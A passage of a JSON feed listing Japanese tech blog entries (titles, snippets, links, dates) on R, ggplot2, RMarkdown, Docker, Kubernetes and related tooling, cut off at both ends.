によるもの.","link":"https://blog.atusy.net/2019/05/09/how2mathjax/","isoDate":"2019-05-09T18:00:00.000Z","dateMiliSeconds":1557424800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"RMarkdown + XeLaTeX + Noto フォントで日本語 PDF を出力する","contentSnippet":"はじめに過去に 「Rmarkdownで日本語PDFを出力する」という記事を書いた.ここでは以下のような YAML フロントマターを用いて, IPA フォントによる日本語 PDF を出力した.---output: pdf_document: latex_engine: xelatex header-includes: - \\\\usepackage{bookmark} - \\\\usepackage{xltxtra} - \\\\usepackage{zxjatype} - \\\\usepackage[ipa]{zxjafont} ---\\\\usepackage[ipa]{zxjafont} という部分で IPA フォントを指定しているが,ここには他のフォントも指定できる1.","link":"https://blog.atusy.net/2019/04/29/notocjkjp-on-rmd/","isoDate":"2019-04-29T00:00:00.000Z","dateMiliSeconds":1556496000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"rocker/verse でも Rmd → PDF 時に必要なパッケージが自動インストールできるようになった","contentSnippet":"rocker/verse における Tex Live 関連の権限が更新され, tlmgr install や Rmd → PDF 時に必要なパッケージの自動インストールが可能になった.Dockerfile 編集時には注意点あり.","link":"https://blog.atusy.net/2019/04/27/tlmgr-install-on-rocker/","isoDate":"2019-04-27T00:00:00.000Z","dateMiliSeconds":1556323200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"highlightjs と highlightjs-line-numbers プラグインで Rmarkdown のコードブロックに行番号をつける","contentSnippet":"highlightjs と highlightjs-line-numbers プラグインによって, 様々な html フォーマットにおいてコードブロックに番号付けできるようにする方法を紹介する.","link":"https://blog.atusy.net/2019/04/22/rmd-line-num-with-highlightjs/","isoDate":"2019-04-22T00:00:00.000Z","dateMiliSeconds":1555891200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Rmarkdown でチャンクとその出力に行番号を付ける","contentSnippet":"html_document と pdf_document でチャンクとその出力に行番号を付ける方法が判ったので,紹介します.出力例と詳解は英語版をご覧下さい.","link":"https://blog.atusy.net/2019/04/18/rmd-line-num/","isoDate":"2019-04-18T00:00:00.000Z","dateMiliSeconds":1555545600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Form","contentSnippet":"Send","link":"https://blog.atusy.net/netlify-forms/","isoDate":"2019-04-17T00:00:00.000Z","dateMiliSeconds":1555459200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"プライバシーポリシー","contentSnippet":"本文書は,当サイト (Atusy’s blog) における個人情報の保護およびその適切な取り扱いについての方針を示したものです.当サイトが利用しているアクセス解析ツールに関して当サイトでは,Googleによるアクセス解析ツール「Googleアナリティクス」を利用しています.このGoogleアナリティクスはトラフィックデータの収集のためにCookieを使用しています.このトラフィックデータは匿名で収集されており,個人を特定するものではありません.","link":"https://blog.atusy.net/privacy-policy/","isoDate":"2019-04-17T00:00:00.000Z","dateMiliSeconds":1555459200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"rocker で使える便利コマンド install2.r とその仲間たち powered by littler","contentSnippet":"rocker で使える install2.r や installGithub.r は,シェル上から CRAN や GitHub 上の R パッケージをインストールするコマンドです.これらの正体や TIP を纏めました.","link":"https://blog.atusy.net/2019/04/16/littler-on-rocker/","isoDate":"2019-04-16T00:00:00.000Z","dateMiliSeconds":1555372800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"xonsh 始めました + xonshrc 弄って oh-my-fish/yimmy inspired な見た目にする","contentSnippet":"Python が動いちゃうシェルこと xonsh を導入しました.早速最低限の設定としてばんくし氏の xonshrc を撮み食いしつつ,Look & Feel を oh-my-fish/theme-yimmy inspired なものにしました.","link":"https://blog.atusy.net/2019/04/14/xonsh-debut/","isoDate":"2019-04-14T00:00:00.000Z","dateMiliSeconds":1555200000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot2 をもっとカンタンに plotly 化する","contentSnippet":"ggplot(mtcars, aes(wt, mpg)) + geom_point() + gginteractive() といった感じで,ggplot に優しい文法で ggplot を plotly 化できるようにしてみました.gghighlight との組み合わせも便利です.","link":"https://blog.atusy.net/2019/03/22/ggplotly-asif-layer/","isoDate":"2019-03-22T00:00:00.000Z","dateMiliSeconds":1553212800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Istioが作るサービスメッシュ~サンプルアプリのデプロイ~","contentSnippet":"サンプルアプリ題材: BookInfo アプリケーション※ 事前にIstioをKubernetesにデプロイしておいてください.構成サンプルアプリのデプロイistio-1.0.6 dire…","link":"https://qiita.com/tozastation/items/1f3c3f213b42e1689406","isoDate":"2019-03-14T05:18:21.000Z","dateMiliSeconds":1552540701000,"authorName":"tozastation","authorId":"tozastation"},{"title":"CNAME ファイルだけで GitHub pages から301リダイレクトする","contentSnippet":"GitHub pages を利用していたレポジトリに転送先のドメインを記述したファイルを作成すると user.github.io/repository/* へのアクセスが指定したドメインに転送されるようになります.","link":"https://blog.atusy.net/2019/03/11/use-cname-to-redirect-from-gh-pages/","isoDate":"2019-03-11T00:00:00.000Z","dateMiliSeconds":1552262400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"git でプレゼン資料を纏めるなら各資料は submodule 化しとくとよさげ","contentSnippet":"私はプレゼン資料を atusy/presentation に纏めて公開している.プレゼンの機会なんて無制限にあるので色々面倒が生じる気がしてきた.資料ごとに git log を分けたいsubmodule ならできる振り返る気のない資料は適宜 local から消したいディスク容量節約","link":"https://blog.atusy.net/2019/02/14/submodulize-presentations/","isoDate":"2019-02-14T00:00:00.000Z","dateMiliSeconds":1550102400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"RStudio daily builds な rocker/verse をビルド時間短かめに作る","contentSnippet":"※この記事は元々,Rstudio 1.2.x preview版を利用したい人向けの記事でした. 2019-04-08 に Rstudio 1.2.1335 が正式リリースされたので, daily builds を使いたい人向けに改題しました.","link":"https://blog.atusy.net/2019/02/12/dockerfile-rocker-verse-daily/","isoDate":"2019-02-12T00:00:00.000Z","dateMiliSeconds":1549929600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"hugo_bootstrap のサイドバーにシェアボタンを追加","contentSnippet":"やっぱり Share ボタンは欲しいよねということで雑に実装した.","link":"https://blog.atusy.net/2019/02/08/sns-buttons/","isoDate":"2019-02-08T00:00:00.000Z","dateMiliSeconds":1549584000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"専用パッケージを導入せず GitHub 上の R パッケージをインストールする","contentSnippet":"TL;DRGitHub上の R パッケージのインストールは以下のようにコマンド一発でできる.force = TRUE による強制インストールなどいろいろできる.","link":"https://blog.atusy.net/2019/02/07/stand-alone-remotes-install-github/","isoDate":"2019-02-07T00:00:00.000Z","dateMiliSeconds":1549497600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"pkgdown で作った Webサイトを引越ししたら algolia/docsearch-configs に設定変更を PR しよう","contentSnippet":"docsearch を利用すると,pkgdown で作ったページの全文検索機能を簡単に設定できる (https://pkgdown.r-lib.org/articles/pkgdown.html#search).先日 pkgdown サイトの URL を qntmap.atusy.net に変更したので,algolia も変えなきゃと思って改めて新規申し込みしてしまった.","link":"https://blog.atusy.net/2019/01/25/url-change-for-algolia/","isoDate":"2019-01-25T00:00:00.000Z","dateMiliSeconds":1548374400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Warnning: newer than the core を放置せずに pacman -Syuu しとこう (Manjaro linux)","contentSnippet":"pacman -Syu でアップグレードした際に,Warnning: newer than the coreといった警告が出ることがあります.特に systemd などシステムに深く関連するパッケージが警告を貼っする時は pacman -Syuu して新しすぎるパッケージをダウングレードしましょう.","link":"https://blog.atusy.net/2019/01/24/pacman-syuu-when-pkg-is-newer-than-core/","isoDate":"2019-01-24T00:00:00.000Z","dateMiliSeconds":1548288000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GitHub pages から Netlify に移行 + 独自ドメイン化","contentSnippet":"これまで blog を GitHub pages 上で公開してきたが,思い立って独自ドメインで Netlify に移行した.移行のメリットは Yi Hui が語っているけれど,以下に自分にとっての理由と手順の概略を書き留めておく.","link":"https://blog.atusy.net/2019/01/23/test-netlify/","isoDate":"2019-01-23T00:00:00.000Z","dateMiliSeconds":1548201600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"べき演算のベンチマーク","contentSnippet":"確認のための準備bench::markbench::press手動ベンチプレス100乗: * の負け90乗: * の勝ち1000乗: 工夫すれば * も勝てるベクトルを長くしてみる @ 90乗: * が勝てるベクトルを短かくしてみる @ 90乗: : * が負ける底をデカくしてみる @ 90乗: * が勝つEnjoyべき演算をするには ^ を使うか * を使えばいいけれど,条件次第ではなんと * が勝つらしいことが分かった.","link":"https://blog.atusy.net/2019/01/22/power-calc-bench/","isoDate":"2019-01-22T00:00:00.000Z","dateMiliSeconds":1548115200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot で scale = free な facet の軸を調整する","contentSnippet":"はじめにfacet の基本的な例パッケージのロードscales 引数を変えた時の様子を比較全 facet 共通で xmin = ymin = 0 にしてみる任意の facet で軸の範囲をコントロールする.Enjoy!前に Tokyo.R で「ggplot2で図を並べる」と題して色々話させてもらいました.時間や難易度の都合で話し切れていない部分も多々あるのですが,今日はその中の1つを補足したいと思います.はじめにggplot2 で facet を使って図を並べる時, scales 引数を指定することでfacet ごとの軸の範囲を可変にできます.軸の範囲は ggplot2 がそれっぽく決めてくれるのですが,特定の facet について自分でコントロールしたい時はどうすればいいでしょうか.","link":"https://blog.atusy.net/2019/01/20/control-axes-in-faceted-plots/","isoDate":"2019-01-20T00:00:00.000Z","dateMiliSeconds":1547942400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot の facet ごとに共通なプロットを盛り込む","contentSnippet":"はじめにfacet で表示されない部分のデータをグレーでプロットしてみるversicolor と virginica だけで facet してそれぞれの facet に setosa を表示するEnjoy!はじめにfacet を使うと以下のようにグループごとにプロットを分けることができます.しかし,グループ間の比較を行うのがちょっと辛いですね.こんな時,どうすればいいのでしょうか.","link":"https://blog.atusy.net/2019/01/20/share-data-in-facets/","isoDate":"2019-01-20T00:00:00.000Z","dateMiliSeconds":1547942400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"base にパイプはないといつ言った?","contentSnippet":"時はパイプ戦国時代.Tidyverse が覇権を握る世界線において pipe とは magrittr::`%>%` のことでしょうか.私は pipeR::`%>>%` 派ですね.他にも wrapr::`%.>%` など,色々な宗派があります.pipe の成り立ちを探る神学者たちも続々と表れております.","link":"https://blog.atusy.net/2019/01/19/yet-another-pipe/","isoDate":"2019-01-19T00:00:00.000Z","dateMiliSeconds":1547856000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"一度に複数の変数を force する","contentSnippet":"結論force(list(a, b, c, ...)) とすればいい.f <- function(a, b, c, ...) { force(list(a, b, c, ...)) # 先に評価したいものから list に入れる 10}f() #> Error in force(list(a, b, c, ...)) : argument \\"a\\" is missing, with no defaultf(stop(\\"a でエラー\\"))#> Error in force(list(a, b, c, ...)) : a でエラーf(a = 1) #> Error in force(list(a, b, c, ...)) : argument \\"b\\" is missing, with no defaultf(a = 1, b = 1)#> Error in force(list(a, b, c, ...)) : argument \\"c\\" is missing, with no defaultf(a = 1, c = 1)#> Error in force(list(a, b, c, ...)) : argument \\"b\\" is missing, with no default# OKf(a = 1, b = 1, c = 1)f(a = 1, b = 1, c = 1, d = 1)背景Rでは関数の引数が遅延評価されるため,引数は使わない限り評価されない“Adv. R: Lazy evaluation”).force 関数を使う.xforce を使うことで開発者の意図を盛り込もう.","link":"https://blog.atusy.net/2019/01/18/force-many-vars-at-once/","isoDate":"2019-01-18T00:00:00.000Z","dateMiliSeconds":1547769600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"captioner を魔改造してみた","contentSnippet":"はじめに実装captioner を初期化キャプションを振る時は相互参照に利用する名前を id に流用参照する時は相互参照に利用する名前をリンクにする図をテストplot()表をテストknitr::kable()gt::gt()id付け失敗id付け成功例1id付け成功例2gt は相互参照未対応であることを確認はじめにcaptioner を使うと相互参照に未対応な Rmd フォーマットも相互参照できるようになる(rmarkdown::html_document とか pkgdown とか……).詳しくはテラモナギさんの記事を参照(captionerパッケージで図・表に対する参照(レファレンス)を取得する).","link":"https://blog.atusy.net/2019/01/17/enhance-captioner/","isoDate":"2019-01-17T00:00:00.000Z","dateMiliSeconds":1547683200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"S3総称関数の引数の既定値はメソッドに渡らない","contentSnippet":"Error と周辺の挙動f <- function(x, n = 1, ...) UseMethod(\\"f\\")f.default <- function(x, n, ...) nf(NULL)## Error in f.default(NULL): argument \\"n\\" is missing, with no defaultてっきり f(NULL) を実行すると,既定で n = 1 だから,f.default(x = NULL, n = 1) が呼び出されるとばかり思っていた.メソッドに渡される引数は明示的に値を与えたものだけらしい.","link":"https://blog.atusy.net/2019/01/16/s3-generics-dont-pass-default-params-to-methods/","isoDate":"2019-01-16T00:00:00.000Z","dateMiliSeconds":1547596800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"group_map などの data frame を要約する関数をベンチマーク (dplyr > 0.8.x)","contentSnippet":"パッケージ読み込みベンチマーク結果表Ridgeline 図箱ひげ図感想と補足Enjoy!tidyverse において,grouped data frame に対して grouping variables以外の各列に関数を適用する方法は種々ある.summarize: 関数の返り値が長さ1の時group_map: 関数の返り値がデータフレームの時nest %>% map: 関数の返り値が複雑な時基本は上述の使い分けのようだが (help(dplyr::group_map)),一応, summarize も返り値を list() してやると複雑な処理に対応できる(後述).","link":"https://blog.atusy.net/2019/01/04/benchmarks-on-summarizing-with-dplyr/","isoDate":"2019-01-04T00:00:00.000Z","dateMiliSeconds":1546560000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"2018年振り返りと、2019年の目標","contentSnippet":"2018年5月末から、エンジニアリングに関する様々な活動を行ってきました。\\r1年の終わりにそれらの活動をまとめ、2019年の目標を記したいと思います。\\r\\r2018年の活動\\r2018年は積極的に新しい技術へチャレンジし、勉強会を通して素晴らしい方々に出会うことができました。\\r新たに触れた技術・ツール\\r\\rGitHub\\rNode.js\\rAngular\\rGolang\\rCentOS\\rDocker\\rKubernetes\\rAzure\\rGCP\\rOWASP ZAP\\rLINE BOT/Clova\\rAgile\\rペアプログラミング/モブプログラミング\\r\\r勉強会・カンファレンス\\r\\rLINE Developer Meetup\\rde:code 2018\\rAzureもくもく会\\rng-japan 2018\\rSQL Server 2017勉強会\\rInteract 2018\\rCCSE 2018\\rThink Japan IBM Code Day\\rJXUG Xamarinハンズオン\\rCosmos DBハンズオン\\rくじらや Dockerハンズオン\\rLINE Clovaスキル開発ハンズオン\\rLINE BOOT AWARDS 2018 ハッカソン\\rGDG DevFest Tokyo 2018\\rXP祭り\\rAzureML勉強会\\rBIT VALLEY 2018\\r.NET Conf 2018\\rContainer SIG Meet-up\\rテスト管理を語る夕べ\\rAVTOKYO\\rアジャイル相談室\\rOSSセキュリティ技術の会\\rJapan Container Days\\r\\r※Japan Container Daysはスタッフとして参加させてもらいました。\\r書籍\\r読了\\r\\r徹底攻略 データベーススペシャリスト教科書\\r徹底攻略 ネットワークスペシャリスト教科書\\rショートコードプログラミング 第3版\\r新装版 達人プログラマー\\rSQLアンチパターン\\rインフラエンジニアの教科書2\\rプログラマのためのDocker教科書 第2版\\rDocker/Kubernetes 実践コンテナ開発入門\\r\\r読みかけ\\r\\r体系的に学ぶ 安全なWebアプリケーションの作り方 第2版\\r\\r社内の活動\\r\\r技術交流、コミュニケーション促進のためチャンネルを開設\\r社内勉強会を主催\\rモブプログラミング・ペアプログラミングを開始\\r\\r資格\\r合格\\r\\rデータベーススペシャリスト\\r\\r不合格\\r\\rネットワークスペシャリスト\\r\\r午後Ⅰが1点足りず…\\rその他\\r\\rはてなブログを開設\\rQiitaアドベントカレンダーに参加\\r\\r2019年の目標\\r7ヶ月間の活動の中で、様々な技術分野にチャレンジした結果、インフラ・セキュリティへの関心が強いことがわかりました。\\r2019年はContainerを中心にインフラのスキルを身に着け、セキュリティ分野の知見を広めていきます。\\r書籍\\r\\r体系的に学ぶ 安全なWebアプリケーションの作り方 第2版\\rKubernetes完全ガイド\\rハッカーの学校\\rテスト駆動開発\\r徹底マスター JavaScriptの教科書\\rドメイン駆動設計\\rハッキング・ラボのつくりかた\\r\\r資格\\r\\rLPIC Level1\\r情報処理安全確保支援士\\rネットワークスペシャリスト","link":"https://kyohmizu.hatenablog.com/entry/2018/12/31/231740","isoDate":"2018-12-31T14:17:40.000Z","dateMiliSeconds":1546265860000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"モバイルファクトリーのインフラアーキテクチャというアドベントカレンダー書いてました","contentSnippet":"ちょっと過去の話ですが、会社の技術ブログで書いてました。tech.mobilefactory.jp","link":"https://blog.masasuzu.net/entry/2018/12/22/000000","isoDate":"2018-12-21T15:00:00.000Z","dateMiliSeconds":1545404400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"kubernetesにあるIngress Controller�の一覧を挙げてみる","contentSnippet":"はじめにIngress ControllerはL7 Load Balancerの機能を果たすものであり、Ingressリソースはそのルールを定義したものです。このIngress Controlle…","link":"https://qiita.com/skikkh/items/c59de1f5e188d0bbeb35","isoDate":"2018-12-17T14:21:33.000Z","dateMiliSeconds":1545056493000,"authorName":"skikkh","authorId":"skikkh"},{"title":"pacman でパッケージのインストール・ロードを簡単にする","contentSnippet":"pacman パッケージとはpacman パッケージの関数インストール / 読み込みを行うものその他便利関数10選needs パッケージとの比較pacman でも needs::prioritize したい?改善案GitHub 上のパッケージも NSE で指定したいCRAN 上のパッケージも GitHub 上のパッケージも同じ関数で指定したいCRAN 上のパッケージも @ でバージョン指定したいGitHub 上のパッケージも一時的な利用をしたい上記を合体させたいpacman パッケージとはR におけるパッケージ管理ツール.1","link":"https://blog.atusy.net/2018/12/15/pacman/","isoDate":"2018-12-15T00:00:00.000Z","dateMiliSeconds":1544832000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"furrr パッケージで R で簡単並列処理","contentSnippet":"インストール読み込み使い方シングルスレッド (strategy = sequential)マルチスレッド (strategy = multiprocess)コア数を変更乱数を固定プログレスバーを表示出力の型furrr パッケージを使うとpurrr パッケージのノリでモダンに並列処理ができるぞ!purrr パッケージを使ったことがない人は下記のリンクを参考して欲しい.","link":"https://blog.atusy.net/2018/12/06/furrr/","isoDate":"2018-12-06T00:00:00.000Z","dateMiliSeconds":1544054400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"furrr パッケージで ggplot のリストの表示を高速化する","contentSnippet":"はじめに実装とテストベンチマーク感想はじめに前にhoxo-m/pforeach パッケージを利用して,ggplot のリストを並列処理し,描写の高速化を行いました.しかし, hoxo-m/pforeach パッケージの霊圧が消えてしまったので,furrr パッケージを試してみることにしました.","link":"https://blog.atusy.net/2018/12/05/accelerate-list-of-ggplot-with-furrr/","isoDate":"2018-12-05T00:00:00.000Z","dateMiliSeconds":1543968000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"日本語でvimのfを使う","contentSnippet":"fvimではf, F, t, Tを使うことで、瞬時に目的の文字上にカーソルを移動することができます。動作faでカーソルから右側の方向の1番近い「a」の位置に移動することができます。3faでカ…","link":"https://qiita.com/atsuya0/items/d90bb3f4b8e538c028a9","isoDate":"2018-12-04T06:03:39.000Z","dateMiliSeconds":1543903419000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Japan.R 2018 感想","contentSnippet":"Japan.R 2018 に参加しました発表の感想Long TalkR によるシステム開発入門 by @kos59125R Markdown テンプレートの作り方 by @kazutanGUI で簡単!モダンなデータ解析 by @efprime_jpShiny 完全に理解した by @Med_KULightning Talkgepuro task views 2nd by @gepuro条件付き相互作用の分析 by 太田博三DID 分析の説明 by やぎべゑcontextual パッケージでバンディットアルゴリズムの検証 by @housecat442スポーツチームでの R 活用の可能性 (ラグビーでの例を通して) by Koichi Kinoshita分析屋が福岡に移住して2年経った話 by @doradora09SagemakeR by @hiratake55Rによる分位点処置効果推定の話 by Yusuke Kanekoなんかやる(高速化周りかも) by かんこれアラサーエンジニア シティボーイ化計画 - 都会のお得物件を統計的に探してみる - by @hana_orinRcpp パッケージで外部 C++ ライブラリを使う by @heavywataldigdag で R をバッチり回す by @chengvtR で書く R コンパイラ by @igjit(仮)深層学習か画像認識で何かやります by nakamichi関数魔改造講座 (formals編) by atusyPlayer Rating with R by shrrt量子化学 (フラグメント分子軌道法) でも R したい(薬) 川嶋裕介ぼくの町の不安定 by tanaka_marimoこの IR のグラフがすごい! 上場企業2018 @ito_yanJapan.R 2018 に参加しました今回も多種多様でハイレベルな発表でしたね。個人的には自称 BeginneR 達の躍進が嬉しかったです。短期間に ggplot2 パッケージや leaflet パッケージを使えるようになって LT してくれる、これはコミュニティの情報共有の目醒ましい成果だと思います。","link":"https://blog.atusy.net/2018/12/02/japanr2018-joined/","isoDate":"2018-12-02T00:00:00.000Z","dateMiliSeconds":1543708800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"viridisの色数","contentSnippet":"viridis や cividis は、色の変化が知覚的に一様となるよう調整された、連続的なカラースケール。白黒印刷するとグレースケールになるので、プリンタにも優しい。viridis は論文がなさそうだが、 cividis は論文にもなっているようだ (https://arxiv.org/ftp/arxiv/papers/1712/1712.01662.pdf)。","link":"https://blog.atusy.net/2018/11/25/size-of-viridis-color-palette/","isoDate":"2018-11-25T00:00:00.000Z","dateMiliSeconds":1543104000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"書評 「R MarkdownでWord文書を作ろう」","contentSnippet":"RmdでWord本の再販が間近に迫っていますね.これは献本頂いた時にしたレビューの約束を果たす時!!Rmdでこんなに完成したWordドキュメントを作れるんだ……! と感動できるので是非.","link":"https://blog.atusy.net/2018/11/25/rmd-de-word/","isoDate":"2018-11-25T00:00:00.000Z","dateMiliSeconds":1543104000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"`ggplot2::coord_cartesian(xlim = c(0, NA))` できるようにしてみた","contentSnippet":"問題実装オリジナル修正版実験他のcoord_系列も問題なさそう感想PRに向けての試験的な実装.https://github.com/atusy/ggplot2/commit/26c1b7a478585889947d265d691e375e399637c3なぜかxlimやylimに長さ3以上の連続値を取れてしまうので,本来はscale_*_continuousやxlimに合わせて長さ2までに制限すべきだと思う","link":"https://blog.atusy.net/2018/11/22/strange-coord-functions-ggplot2/","isoDate":"2018-11-22T00:00:00.000Z","dateMiliSeconds":1542844800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"CSSでヘッダの行間を調整してみた","contentSnippet":"h1からh2そしてh3までの余白が以前はこんな感じで辛かった h2 h3 h2 h3 余白であって、行間ではないので、長い見出しを書いても大丈夫ですやりかたhugoを使っているので、テーマが保存されているディレクトリの","link":"https://blog.atusy.net/2018/11/21/mod-css-margin/","isoDate":"2018-11-21T00:00:00.000Z","dateMiliSeconds":1542758400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shinyでggplot2の選択領域を拡大 (brushOpts)","contentSnippet":"Shinyでplotly.jsを使わずにインタラクティブな図を作れるのかなと思ったら、「Shiny 100本ノック」の【Shiny小技】グラフをダブルクリックすると情報が取得できる、dblclickOptsの紹介を見つけました。どうやら、 brushOpts なるものを使えば、 plot (ggplot2 を含む)の拡大ができるようなので試してみました。","link":"https://blog.atusy.net/2018/11/21/shiny-brushopts/","isoDate":"2018-11-21T00:00:00.000Z","dateMiliSeconds":1542758400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ヒストグラムのビンの色をx軸に応じて変える","contentSnippet":"ヒストグラムをヒートマップの凡例 + αにしたい試行錯誤の歴史データ整形ヒストグラムfill = x ではダメfill = stat(x) ならOKソース追記tl; drgeom_histogram(aes(fill = stat(x))) すればいい。ヒストグラムをヒートマップの凡例 + αにしたいから、ヒストグラムのビンの色をx軸に応じて変えたいと思った。","link":"https://blog.atusy.net/2018/11/20/histogram-fill-along-x/","isoDate":"2018-11-20T00:00:00.000Z","dateMiliSeconds":1542672000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"felp 0.1.3","contentSnippet":"felp 0.1.3 を 公開 しました.ようやく実用レベルになったかと思います.関数のソースとヘルプを同時に見たい人のためのパッケージです.ソースの読解が捗りますね!インストール方法devtools::install_github(\\"atusy/felp\\")使い方?print や print?. と打つだけ.","link":"https://blog.atusy.net/2018/11/18/felp-0-1-3/","isoDate":"2018-11-18T00:00:00.000Z","dateMiliSeconds":1542499200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Rmdのfig.capを図を生成するチャンク内にglueで書く","contentSnippet":"Rmdのchunkオプションである fig.cap の評価は,チャンクの評価が終わってからです.この性質を利用すると,チャンク内にキャプションと図を同居させることが簡単になります.","link":"https://blog.atusy.net/2018/11/11/glue-for-fig-cap-in-rmd/","isoDate":"2018-11-11T00:00:00.000Z","dateMiliSeconds":1541894400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot2のレジェンド位置を調整","contentSnippet":"ggplot2のレジェンド位置を変えるにはLet’s try!パッケージ基本となる図を用意レジェンド位置を数値で指定するレジェンド位置を文字列で指定するlegend.positionlegend.justificationEnjoy!ggplot2のレジェンド位置を変えるにはCookbookのChanging the position of the legendが参考になる.要は theme() を使ってlegend.position を長さ2の数値ベクトルないし\\"none\\" , \\"left\\" , \\"right\\" , \\"bottom\\" , \\"top\\" の文字列で与え,","link":"https://blog.atusy.net/2018/11/10/ggplot2-legend-pos-n-just/","isoDate":"2018-11-10T00:00:00.000Z","dateMiliSeconds":1541808000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"geom_histogramのビン幅を動的に決定する","contentSnippet":"TL; DRggplot2のヒストグラムはビン数30が既定ビン幅を動的に決めたいgeom_histogram(binwidth = ) に関数を指定ビン幅を決める関数を定義テストEnjoy!TL; DRgeom_histogram(binwidth = ) はデータを受け取ってビン幅を返す関数を受け付けるよ。ggplot2のヒストグラムはビン数30が既定なぜ……。調整するには bins でビン数を変えるか、 binwidth でビン幅を変える。両方指定すると binwidth が優先される。","link":"https://blog.atusy.net/2018/11/09/binwdith-for-geom-histogram/","isoDate":"2018-11-09T00:00:00.000Z","dateMiliSeconds":1541721600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"[Docker] awslogs-datetime-format の指定方法に注意","contentSnippet":"[Docker] awslogs-datetime-format の指定方法に注意背景Dockerの awslogs ログドライバでは,awslogs-datetime-format オプション…","link":"https://qiita.com/toshikish/items/59a3a4426930e29f0673","isoDate":"2018-11-07T03:23:50.000Z","dateMiliSeconds":1541561030000,"authorName":"toshikish","authorId":"toshikish"},{"title":"R起動時に不足パッケージを導入しつつ読み込む","contentSnippet":".Rprofileを使っていつも使うパッケージはR起動時に読み込む例えば, tidyverse を読み込みたいなら,options(defaultPackages = c(getOption(\'defaultPackages\'), \'tidyverse\'))とする.library ではなく options を利用することで,filter() で dplyr::filter() を呼ぶつもりが stats::filter() を呼んでしまうような事故を防げる.不足パッケージをインストールしたいこれは一筋縄ではいかず,私は callr::r() を使うことで解決した.","link":"https://blog.atusy.net/2018/11/06/defaultpackages-rprofile/","isoDate":"2018-11-06T00:00:00.000Z","dateMiliSeconds":1541462400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot2で$TeX$を利用する","contentSnippet":"はじめにインストール使ってみるタイトルなどで \\\\(TeX\\\\)geom_text で \\\\(TeX\\\\)facet_wrap や facet_grid で \\\\(TeX\\\\)Enjoy!はじめにggplot2 で \\\\(TeX\\\\) 記法が使えると嬉しいですよね.一応,そういう人たちのための入口としては expression だとか bquote だとかがあるんですが,ここでは紹介しません.いえ,毎度使い方を忘れてしまい,紹介できないというのが正しいです.","link":"https://blog.atusy.net/2018/11/03/tex-in-ggplot2/","isoDate":"2018-11-03T00:00:00.000Z","dateMiliSeconds":1541203200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"patchworkの表示を高速化したかった……","contentSnippet":"失敗の記録.目的ggplotのリストの表示を高速化するで紹介した通り,ggplotオブジェクトはprintされる段になって,プロットに必要な計算を行っているため,大量のggplotを行うならば,計算部分を並列化し,表示を順次行うのが効率的だ.patchworkを使ってggplotオブジェクトを並べる時も同様では……? と思い,実験したが,何故かそうはならなかった.","link":"https://blog.atusy.net/2018/11/03/accelarate-patchwork/","isoDate":"2018-11-03T00:00:00.000Z","dateMiliSeconds":1541203200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot2とpatchworkで周辺分布","contentSnippet":"patchworkパッケージを使えばあんな図やこんな図が簡単に,と思い馳せた人も多いのではなかろうか.参考: TokyoR 73での発表スライド中でも周辺分布を自由に綺麗に,と思ったのは私だけではないはず.","link":"https://blog.atusy.net/2018/11/02/marginal-patchwork/","isoDate":"2018-11-02T00:00:00.000Z","dateMiliSeconds":1541116800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"RmarkdwonのYAMLフロントマターで\\ntitleとか\\nauthorとか\\n改行する","contentSnippet":"@niszet0 さん著「R 